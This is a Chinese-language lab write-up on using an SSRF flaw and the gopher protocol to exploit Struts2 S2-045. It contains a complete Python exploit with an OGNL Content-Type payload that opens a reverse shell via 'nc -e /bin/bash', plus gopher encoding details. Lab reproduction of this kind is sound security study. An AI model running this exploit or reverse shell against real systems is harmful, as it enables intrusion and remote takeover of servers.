SSRF+gopher协议渗透struts2
实验主机
windows10 192.168.1.120 #SSFR漏洞主机
centos8搭建struts2-045环境 192.168.1.106
实验环境
- SSRF漏洞代码curl_exec.php:
php版本>5.3才可使用gopher协议
可用var_dump(curl_version())来调试
#win10主机 curl_exec.php
<?php
$url = $_GET['url'];
#var_dump(curl_version()); #输出curl支持的协议
$curlobj = curl_init($url); //初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
echo curl_exec($curlobj); //执行 cURL 会话
?>
测试一下环境:
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLicmbw5yMjR2MhN2MmR2Y4IzYjFWNkBTM2MDOkhzM5cjMxEGM48CX0JXZ252bj91Ztl2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
window10的SSRF环境搭建完毕。
- 测试代码get.php:
<?php
echo "Hello ,".$_GET["name"]."!";
?>
尝试用gopher协议调用此代码,先构造一个get请求头
GET /ssrf/get.php?name=qianxun HTTP/1.1
Host:192.168.1.120
构造gopher协议请求
gopher://192.168.1.120:80/_GET%20/ssrf/get.php%3fname=qianxun%20HTTP/1.1%0d%0aHost:192.168.1.120%0d%0a
使用curl工具尝试发送:
成功!
在url中发送,由于apache会自动进行一次url解码,所以为了让gopher协议能正常发送,所以要再进行一次url编码即:
gopher://192.168.1.120:80/_GET%2520/ssrf/get.php%253Fname=qianxun%2520HTTP/1.1%250d%250aHost:192.168.1.120%250d%250a
成功!
实验过程
调试好环境之后正戏开始
结合SSRF利用gopher协议渗透struts2
物理机SSRF漏洞代码,也就是上面的curl_exec.php:
<?php
$url = $_GET['url'];
#var_dump(curl_version());
$curlobj = curl_init($url); //初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
echo curl_exec($curlobj); //执行 cURL 会话
?>
docker拉取镜像搭建s2-045环境:
service docker start #开启docker服务
cd /usr/sbin/vulhub/struts2/s2-045 #进入s2-045目录
docker-compose up -d #启动容器
docker ps #查看docker容器进程
在物理机上用浏览器访问
http://192.168.1.106:8080
至此s2-045漏洞环境搭建完毕。
这里有个坑,我是用centos8搭建docker环境的,因为当时重启了一下network服务导致浏览器无法访问容器的8080端口,百度了好多资料,说是当FirewallD启动(或重新启动)时,会从iptables中删除DOCKER链,造成Docker不能正常工作,解决方法是手动重启出问题的Docker daemon服务。 service docker restart
最终解决了,如果你也有同样的问题,请参考文章
从网上找到大佬的exp,原版是用python2编写的,我换成python3修改了一下:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote
url = "http://192.168.1.120/ssrf/curl_exec.php?url="
header = """gopher://192.168.1.106:8080/_GET / HTTP/1.1
Host:192.168.1.106
Content-Type:""" #设置get请求头
cmd = "nc -e /bin/bash 192.168.1.120 6666" #用nc反弹shell
content_type = """%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.1.120 6666').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@org.apache.commons.io.[email protected](#process.getInputStream(),#ros)).(#ros.flush())}""" #这是content-Type字段的POC
header_encoder = ""
content_type_encoder = ""
content_type_encoder_2 = ""
url_char = [" "]
nr = "\r\n"
# 编码请求头
for single_char in header:
if single_char in url_char:
header_encoder += quote(quote(single_char,'utf-8'),'utf-8')
else:
header_encoder += single_char
header_encoder = header_encoder.replace("\n",quote(quote(nr,'utf-8'),'utf-8'))
# 编码content-type,第一次编码
for single_char in content_type:
# 先转为ASCII,在转十六进制即可变为URL编码
content_type_encoder += str(hex(ord(single_char)))
content_type_encoder = content_type_encoder.replace("0x","%") + quote(nr,'utf-8')
# 编码content-type,第二次编码
for single_char in content_type_encoder:
# 先转为ASCII,在转十六进制即可变为URL编码
content_type_encoder_2 += str(hex(ord(single_char)))
content_type_encoder_2 = content_type_encoder_2.replace("0x","%")
exp = url + header_encoder + content_type_encoder_2
print(exp)
request = urllib.request.Request(exp)
response = urllib.request.urlopen(request).read()
print(response)
复现过程:
在物理机上用nc开启端口监听:
重新开启一个窗口运行exp:
在第一次做的时候报了一个错误:这是因为容器中默认是没有安装nc的,所以要进入镜像安装nc![]()
SSRF+gopher协议渗透struts2SSRF+gopher协议渗透struts2 然后再重试上面的步骤。docker ps #查看你的镜像id docker exec -it (你的镜像id) /bin/bash #进入镜像 apt-get update #更新软件列表 apt-get install nc #安装nc
成功反弹shell:
-
关于gopher协议中的编码问题:
gopher协议格式:gopher://ip:port/占位符+编码后的原始数据包
gopher协议在传输时需要对空格(%20)、?(%3f)、回车换行(%0d%0a)进行编码。
若是在命令行下传输,则只需要编码一次。
若是拼接到url中传输,由于web容器会自动解码一次所以需要二次url编码。curl gopher://ip:port/......
http://ip/curl_exec.php?url=gopher://ip:port/......
-
对于content-type后面poc字段的url编码
可以丢到burp中二次编码,也可以先转换成ascii码再转换成十六进制,然后将十六进制前的0x换成%。